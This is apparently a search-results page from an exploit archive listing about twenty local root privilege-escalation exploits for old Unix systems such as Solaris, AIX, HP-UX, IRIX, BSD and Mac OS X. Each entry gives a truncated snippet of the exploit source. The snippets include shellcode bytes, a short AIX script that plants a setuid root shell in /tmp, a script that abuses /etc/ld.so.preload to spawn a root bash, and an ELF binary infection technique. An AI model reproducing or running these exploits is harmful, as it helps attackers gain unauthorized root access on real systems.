1420 matches found
GLIBC (via /bin/su) Local Root Exploit
No description provided by source. / Working exploit for glibc executing /bin/su To exploit this i have used a technique that overwrites the .dtors section of /bin/su program with the address of the shellcode, so, the program executes it when main returns or exit is called Thanks a lot to rwxrwxr...
SCO Openserver 5.0.7 (MMDF deliver) Local Root Exploit
No description provided by source. / MMDF deliver local root exploit for SCO OpenServer 5.0.7 x86 Copyright 2004 Ramon de Carvalho Valle / char shellcode= / 36 bytes / "\x68\xff\xf8\xff\x3c" / pushl $0x3cfff8ff / "\x6a\x65" / pushl $0x65 / "\x89\xe6" / movl %esp,%esi / "\xf7\x56\x04" / notl...
Solaris 10 DtPrintinfo/Session Local Root Exploit (x86)
No description provided by source. !/usr/bin/perl Solaris 10 DtPrintinfo/Session Exploit x86 EDUCATIONAL purposes only.... :- by Charles Stevenson core [email protected] greetz to raptor for sharing this vulnerability and in no specific order just want to show love for: nemo, andrewg, jduck,...
QNX Neutrino 6.2.1 (phfont) Race Condition Local Root Exploit
No description provided by source. !/bin/sh word, exploit for http://www.idefense.com/intelligence/vulnerabilities/display.php?id=383 greetings and salutations from www.lort.dk kokanin@dtors 18/10/2003 $ cksum /usr/photon/bin/phfont 4123428723 30896 /usr/photon/bin/phfont $ uname -a QNX localhost...
AIX 5.1 to 5.3 lsmcode Local Root Command Execution
No description provided by source. mkdirhier /tmp/aap/bin export DIAGNOSTICS=/tmp/aap cat /tmp/aap/bin/Dctrl EOF !/bin/sh cp /bin/sh /tmp/.shh chown root:system /tmp/.shh chmod u+s /tmp/.shh EOF chmod a+x /tmp/aap/bin/Dctrl lsmcode /tmp/.shh...
Solaris 9 / 10 ld.so Local Root Exploit (1)
No description provided by source. / - SunOS 5.10 Generic i86pc i386 i86pc - SunOS 5.9 Generic112233-12 sun4u It does NOT work on: SunOS 5.8 Generic117350-02 sun4u sparc Example on unpatched Solaris 10 AMD64: atari:venglin: cat dupa.c / static char sh =...
sudo.bin NLSPATH Local Root Exploit
No description provided by source. include unistd.h include stdio.h include stdlib.h include fcntl.h include sys/stat.h define PATHSUDO "/usr/bin/sudo.bin" define BUFFERSIZE 1024 define DEFAULTOFFSET 50 ulong getesp asm"movl %esp, %eax"; mainint argc, char argv uchar execshell =...
FreeBSD 3.5.1/4.2 ports package local root exploit
No description provided by source. / xklock - FreeBSD 3.5.1 & 4.2 ports package local root exploit The X key lock program contain several exploitable buffer overflows in command line arguments aswell as the 'JNAME' environment variable. xklock is installed setuid root by default. This POC exploit...
Tru64 UNIX 4.0g /usr/bin/at Local Root Exploit
No description provided by source. / Tru64 UNIX 4.0g JAVA /usr/bin/at local root exploit. ALPHA Author: Cody Tubbs loophole of hhp. Site: www.hhp-programming.net Email: [email protected] Date: 2/1/2000. I made this without access to gdb, It's untested... may require modification, may require...
HP-UX 11.0/11.11 swxxx Local Root Shell Exploit
No description provided by source. / Program : xhpux11isw.c Use : HP-UX 11.11/11.0 exploit swxxx to get local root shell. Complie : cc xhpux11isw.c -o xsw;./xsw not use gcc for some system Usage : ./xsw off Tested : HP-UX B11.11 & HP-UX B11.0 Author : watercloud @ xfocus.org Date : 2002-12-11 Not...
IRIX 5.3 /usr/sbin/iwsh Local Root Buffer Overflow
No description provided by source. / /usr/sbin/iwsh.c exploit by DCRH 27/5/97 Tested on: R3000 Indigo Irix 5.3 R4400 Indy Irix 5.3 Irix 5.x only compile as: cc iwsh.c / include stdio.h include stdlib.h include string.h include sys/types.h include unistd.h define NUMADDRESSES 500 define BUFLENGTH...
Solaris 5.5.1 X11R6.3 xterm (-xrm) Local Root Exploit
No description provided by source. / X11R6.3 xterm exploit for solaris 5.5.1 by DCRH 28/5/97 / include stdio.h include stdlib.h include sys/types.h include unistd.h define EXTRA2 1300 define BUFLENGTH 400 define EXTRA 500 / Need an addr such that contents of addr+0xe98 = 0 / define SAFEADDR...
BSDi 3.0 inc Local Root Buffer Overflow Exploit
No description provided by source. / BSDiincmh buffer overflow, by [email protected]. this is will give you euid=0root on BSDi/3.0 systems. / define PATH "/usr/contrib/mh/bin/inc" / path to inc on BSDi/3.0 / define BUFFER 2048 / no need to change this. / define DEFAULTOFFSET -7000 / generalized...
SquirrelMail chpasswd buffer overflow
No description provided by source. / 0x3142-sq-chpasswd.c Squirremail chpasswd buffer overflow. Tested on SuSE 9. The bug was found by Matias Neiff matias neiff com ar Coded by x314 0x3142 hushmail.com c 2004 Copyright by x314. All Rights Reserved. Greets: m0s krewz. / include stdlib.h char...
Apple Mac OS X (/usr/bin/passwd) Custom Passwd Local Root Exploit
No description provided by source. !/usr/bin/perl /usr/bin/passwdOSX: local root exploit. by: vade79/v9 [email protected] fakehalo/realhalo Apple OSX's /usr/bin/passwd program has support for a custom passwd file to be used instead of the standard/static path. this feature has security issues in the...
Mac OS X Panther Internet Connect Local Root Exploit
No description provided by source. Date: 25.07.2004 Author: B-r00t. 2004. Email: B-r00t br00t blueyonder co uk Vendor: Apple Operating System: OSX Panther Possibly Previous Versions. Application: Internet Connect.app Tested: Panther 10.3.4 Internet Connect v1.3 Problem: Internet Connect allows an...
Adobe Version Cue 1.0/1.0.1 (-lib) Local Root Exploit (OSX)
No description provided by source. / Adobe Version Cue VCNativeOSX: local root exploit. dyld by: vade79/v9 [email protected] fakehalo/realhalo Adobe Version Cue's VCNative program allows un-privileged local users to load arbitrary libraries"bundles" while running setuid root. this is done via the...
CDRDAO Local Root Exploit
No description provided by source. !/bin/sh DIR=pwd echo "" echo "cdrdao local root exploit - gr doesn't protect you this time" echo "Karol Wi...
Infecting Elf Binaries to Gain Local Root Exploit
No description provided by source. gcc infR3.s -o infR3 strip infR3 find a writable binary example: ls ./infR3 /bin/ls when root calls the writable ls, chmod will be setuided Coded by [email protected] == [email protected] .text .global main infeccion de start para conseguir local root use ...
liblesstif <= 2-0.93.94-4mdk (DEBUG_FILE) Local Root Exploit
No description provided by source. !/bin/sh echo echo "mtink libXm local root exploit" echo " [email protected] " echo umask 000 export DEBUGFILE="/etc/ld.so.preload" cat /tmp/lib.c EOF include unistd.h void initvoid if getuid!=0 && geteuid==0 setuid0; unlink"/etc/ld.so.preload"; execl"/bin/bash",...